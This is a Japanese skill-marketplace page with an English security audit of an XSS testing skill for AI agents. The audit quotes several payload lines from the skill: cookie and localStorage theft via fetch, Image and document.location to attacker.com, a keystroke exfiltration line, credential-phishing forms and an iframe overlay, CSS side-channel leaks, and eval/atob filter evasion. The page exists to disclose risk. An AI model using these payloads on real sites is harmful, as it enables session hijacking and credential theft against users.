スキル xss-html-injection
📦
xss-html-injection
コンテンツリビジョン r2 重大 ⚡ スクリプトを含む⚙️ 外部コマンド🌐 ネットワークアクセス📁 ファイルシステムへのアクセス
XSSおよびHTMLインジェクションのリスクを評価する
クライアント側のインジェクション欠陥は、セッション、アカウントデータ、ユーザーの信頼を危険にさらす可能性があります。このスキルは、認可されたテスターが明確な修復ガイダンスとともにXSS評価を体系化するのに役立ちます。
対応: Claude Codex Code(CC)
この Skill を自動インストールしないでください。
基準ポリシーにより、インストール操作の前にオペレーターのレビューが必要です。
自分のエージェントでインストール
このリクエストをエージェントにコピーしてください。正規の Skill ページとマニフェストが含まれています。
エージェントリクエスト
Review the Skillstore skill "xss-html-injection" from https://skillstore.io/skills/sickn33-xss-html-injection.md and its manifest at https://skillstore.io/api/skills/sickn33-xss-html-injection/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.エージェントは引き続き計画を提示し、セキュリティポリシーで必要な確認を求める必要があります。
エージェントが読めるリソース
AI エージェント、クローラー、スクリプトがページ全体ではなく整理されたコンテキストを必要とする場合は、これらのリンクを使ってください。
テストする
「xss-html-injection」を使用しています。 検索ページが、目に見えるエンコーディングなしでクエリ値をページ見出しに反射している。
期待される結果:
出力は反射型XSSリスクを特定し、安全な検証証拠を列挙し、ユーザーへの影響を説明し、コンテキストに応じた出力エンコーディングを推奨します。
「xss-html-injection」を使用しています。 プロフィールの自己紹介文が保存され、送信後に他のサインイン済みユーザーに表示される。
期待される結果:
出力は格納型XSSリスクを分類し、影響を受けるロールを示し、証拠収集を提案し、サニタイズとCSP強化を推奨します。
「xss-html-injection」を使用しています。 フロントエンドコードがURLフラグメントを読み取り、それを歓迎メッセージに書き込んでいる。
期待される結果:
出力はDOM XSSリスクを警告し、ソースからシンクまでの経路を追跡し、テキストのみの挿入または信頼できるサニタイザーを推奨します。
セキュリティ監査
重大v6 • 2026/9/7 バージョン別レポートを開く
The skill is an offensive XSS testing guide with explicit authorization gates. It also supplies operational keylogging, session theft, phishing, and defense-evasion instructions that create critical misuse risk. Syntax inventories, Markdown fences, placeholder targets, and defensive limitations were dismissed as false positives.
2
スキャンされたファイル
533
解析済み行数
17
レビュー項目
0
誤検知を無視
確認済みのセキュリティ上の懸念 (8)
重大
Keylogger keywords
<!-- Keylogger injection -->
The section provides a working document-wide keylogger that transmits each keystroke to an attacker endpoint.
重大
Actionable Credential and Session Theft Workflow
The guide teaches persistent keylogging, cookie theft, session-data capture, and credential harvesting with attacker-controlled collection endpoints.
The cited sections contain complete browser payloads that collect sensitive data and transmit it to attacker endpoints.
高
Base64 encode
new Image().src='http://attacker.com/c='+btoa(document.cookie);
The code encodes document.cookie before transmitting it to an attacker endpoint, obscuring stolen session data.
高
Phishing Delivery and Interface Impersonation Guidance
The guide recommends phishing channels and supplies injected forms and full-page frames that imitate trusted interfaces to capture credentials.
The text explicitly labels phishing delivery methods and provides credential forms and interface-overlay examples.
高
Security Control Evasion Guidance
The guide catalogs encoding, obfuscation, CSP bypass, and WAF bypass methods that increase payload reliability against deployed defenses.
The cited sections explicitly present filter-bypass payloads and troubleshooting steps for bypassing CSP and WAF controls.
中
Base64 decode
<script>eval(atob('YWxlcnQoMSk='))</script> <!-- security-allowlist: controlled XSS obfuscation exam
Base64 decoding is intentionally combined with eval to conceal an executable XSS payload from filters.
中
Unicode escape sequence
<script>\u0061lert(1)</script>
The Unicode escape is presented as an encoding bypass for an executable XSS payload.
中
Unicode escape sequence
<img src=x onerror=\u0061\u006cert(1)>
The Unicode escapes conceal an event-handler payload to bypass input filtering.
機能レビュー項目 (17)
これらは、このスキルに期待される可能性のある実際のローカル機能であるため、レビューが必要ですが、確認済みの悪意ある動作としてはカウントされません。
重大
Hardcoded URL
new Image().src='http://attacker.com/log?k='+e.key;
The URL receives each captured key from a document-wide keypress handler, forming an operational keylogger.
高
Dynamic code evaluation with eval()
<script>eval('al'+'ert(1)')</script> <!-- security-allowlist: controlled XSS obfuscation example -->
Line 314 provides an executable eval payload designed to evade simple filters through string concatenation.
高
Dynamic code evaluation with eval()
<script>eval(atob('YWxlcnQoMSk='))</script> <!-- security-allowlist: controlled XSS obfuscation exam
Line 323 combines Base64 decoding with eval in an executable XSS obfuscation payload.
高
Fetch API call
fetch('http://attacker.com/capture',{
The fetch sends cookies and the current URL to an attacker endpoint as a session-hijacking payload.
高
Fetch API call
fetch('https://attacker.com/log',{
The fetch transmits cookies, local storage, and the current URL to an attacker endpoint.
高
Hardcoded URL
document.location='http://attacker.com/steal?c='+document.cookie
The URL receives document.cookie through a forced navigation, providing a directly usable cookie-theft payload.
高
Hardcoded URL
fetch('http://attacker.com/capture',{
The attacker URL is the destination for exfiltrated cookies and page location data.
高
Hardcoded URL
<form action="http://attacker.com/phish" method="POST">
The form posts usernames and passwords to an attacker endpoint while impersonating an expired login.
高
Hardcoded URL
<form action="http://attacker.com/capture">
The injected form submits entered credentials to an attacker endpoint, enabling credential theft.
高
Hardcoded URL
input[value^="a"]{background:url(http://attacker.com/a)}
The CSS rule makes attacker-controlled requests based on input values, demonstrating side-channel data exfiltration.
高
Hardcoded URL
input[value^="b"]{background:url(http://attacker.com/b)}
The CSS rule leaks whether an input begins with a chosen character through an attacker-controlled request.
高
Hardcoded URL
<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:1
The full-page iframe loads an attacker phishing page and can visually replace the legitimate interface.
高
Hardcoded URL
new Image().src='http://attacker.com/c='+btoa(document.cookie);
The image request sends a Base64-encoded session cookie to an attacker endpoint.
高
Hardcoded URL
fetch('https://attacker.com/log',{
The attacker URL receives cookies, local storage, and page location through the accompanying fetch.
高
Hardcoded URL
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
The image URL transmits document.cookie to an attacker endpoint in a stored-XSS example.
高
Hardcoded URL
https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+do
The crafted URL embeds a payload that sends document.cookie to an attacker endpoint and is intended for phishing delivery.
高
Hardcoded URL
<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>
The URL demonstrates loading a JSONP response as script to bypass an existing Content Security Policy.
リスク要因
⚡ スクリプトを含む (7)
⚙️ 外部コマンド (19)
references/detailed-guide.md:317-326 references/detailed-guide.md:326-328 SKILL.md:59-64 SKILL.md:64-69 SKILL.md:69-74 SKILL.md:74-83 SKILL.md:83-85 SKILL.md:85-88 SKILL.md:88-90 SKILL.md:90-93 SKILL.md:93-95 SKILL.md:95-104 SKILL.md:104-106 SKILL.md:106-109 SKILL.md:109-111 SKILL.md:111-120 SKILL.md:120-122 SKILL.md:122-125 SKILL.md:125-127
🌐 ネットワークアクセス (26)
references/detailed-guide.md:131 references/detailed-guide.md:378 references/detailed-guide.md:119 references/detailed-guide.md:125 references/detailed-guide.md:131 references/detailed-guide.md:140 references/detailed-guide.md:155 references/detailed-guide.md:158 references/detailed-guide.md:161 references/detailed-guide.md:164 references/detailed-guide.md:218 references/detailed-guide.md:221 references/detailed-guide.md:225 references/detailed-guide.md:241 references/detailed-guide.md:248 references/detailed-guide.md:249 references/detailed-guide.md:253 references/detailed-guide.md:371 references/detailed-guide.md:378 SKILL.md:72 SKILL.md:84 SKILL.md:89 SKILL.md:94 SKILL.md:110 SKILL.md:121 SKILL.md:126
📁 ファイルシステムへのアクセス (1)
検出されたパターン
Keylogger keywords
監査者: codex 監査履歴を表示 →
このレポートを共有・引用
バージョン付き評価レポート、中立的なバッジ、埋め込みカード、引用を共有できます。Skillstore は証拠を報告しますが、この Skill が安全かどうかは判断しません。
レポートリンクをコピー
https://skillstore.io/skills/sickn33-xss-html-injection/audits/6?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdownバッジ
[](https://skillstore.io/skills/sickn33-xss-html-injection?utm_source=security_passport_badge)HTMLバッジ
<a href="https://skillstore.io/skills/sickn33-xss-html-injection?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-xss-html-injection/security.svg" alt="Skillstore security assessment" loading="lazy"></a>埋め込みカード
<iframe src="https://skillstore.io/embed/skills/sickn33-xss-html-injection.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>学術引用 (APA · BibTeX · CFF)
APA形式の引用
zebbern. (2026). xss-html-injection security audit report (audit version 6) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-xss-html-injection/audits/6BibTeX形式の引用
@techreport{zebbern-sickn33-xss-html-injection-2026,
author = {zebbern},
title = {xss-html-injection security audit report (audit version 6)},
institution = {Skillstore},
year = {2026},
number = {6},
url = {https://skillstore.io/skills/sickn33-xss-html-injection/audits/6},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "xss-html-injection security audit report (audit version 6)"
version: "unspecified"
type: report
authors:
- name: "zebbern"
date-released: "2026-09-07"
url: "https://skillstore.io/skills/sickn33-xss-html-injection/audits/6"
identifiers:
- type: other
value: "skillstore:sickn33-xss-html-injection:audit:6"
description: "Skillstore immutable audit report identifier"
Skillstore スコア
このスコアの理由 証拠の信頼度: 中 41
アーキテクチャ
85
保守性
87
コンテンツ
71
コミュニティ
83
仕様準拠
作成できるもの
Webアプリケーション入力を検証する
フォーム、プロフィール、コメント、URLパラメータ全体で認可されたXSSチェックを計画します。
クライアントレポートを作成する
観測されたインジェクション動作を、明確な重大度、影響、修復メモに変換します。
フロントエンドのデータフローをレビューする
リリース前に、ブラウザ制御データがDOMシンクへ流れる経路を追跡します。
これらのプロンプトを試す
XSSテスト領域を見つける
この認可済みアプリケーションについて、XSSおよびHTMLインジェクションの可能性があるテスト領域を列挙してください: [describe pages, forms, and user roles].
安全な検証を計画する
この範囲指定済み機能について、非破壊的なXSS検証計画を作成してください: [feature]. 入力、想定される反射、収集すべき証拠を含めてください。
DOMフローを分析する
このDOMデータフローの説明をXSSリスクの観点からレビューしてください: [sources, transformations, sinks]. 悪用可能性とより安全なパターンを説明してください。
修復レポートを書く
これらのXSSテスト観測結果を、重大度、影響、再現手順の要約、根本原因、修復策を含むクライアント向けの指摘事項に変換してください: [observations].
ベストプラクティス
- 範囲内のアカウント、承認済みドメイン、非本番データのみを使用します。
- 各指摘事項について、スクリーンショット、リクエスト、レスポンス、ブラウザでの観測結果を収集します。
- 出力エンコーディング、安全なDOM API、サニタイズ、CSPによる修復を優先します。
回避
- 書面による認可なしに対象をテストしないでください。
- 実際の認証情報、セッショントークン、個人データを収集しないでください。
- 承認された範囲外のユーザーと悪用配信用リンクを共有しないでください。
よくある質問
このスキルは認可されたテスト専用ですか？
はい。書面による認可、定義済みの範囲、機密性のある証拠に対する承認済みの取り扱いがある場合にのみ使用してください。
XSSを自動的に確認できますか？
いいえ。評価の構成は提供しますが、確認には管理されたテストと対象アプリケーションからの証拠が必要です。
DOMベースのXSSに対応していますか？
はい。ブラウザ制御のソースと危険なDOMシンクをレビューする方法を説明します。
修復ガイダンスは含まれていますか？
はい。出力エンコーディング、サニタイズ、より安全なDOM API、Cookieフラグ、Content Security Policyを扱います。
開発者はリリース前に使用できますか？
はい。開発者は、リリース前にリスクのあるデータフローをレビューし、安全な検証を計画するために使用できます。
レポートにはどのような証拠を含めるべきですか？
影響を受けるURL、入力箇所、スクリーンショット、リクエストの詳細、ブラウザの動作、影響、正確な修復手順を含めてください。
開発者情報
作成者
zebbernライセンス
MIT
Skillstore リビジョン
r2
バージョンに関する注意
作者はバージョンを宣言していません。
参照
b1ef80115e869b66867d4eac8e3c8dc56a393a8d
メンテナンスの新しさ
2026/9/8
利用状況
9 ダウンロード · 241 閲覧
ファイル構成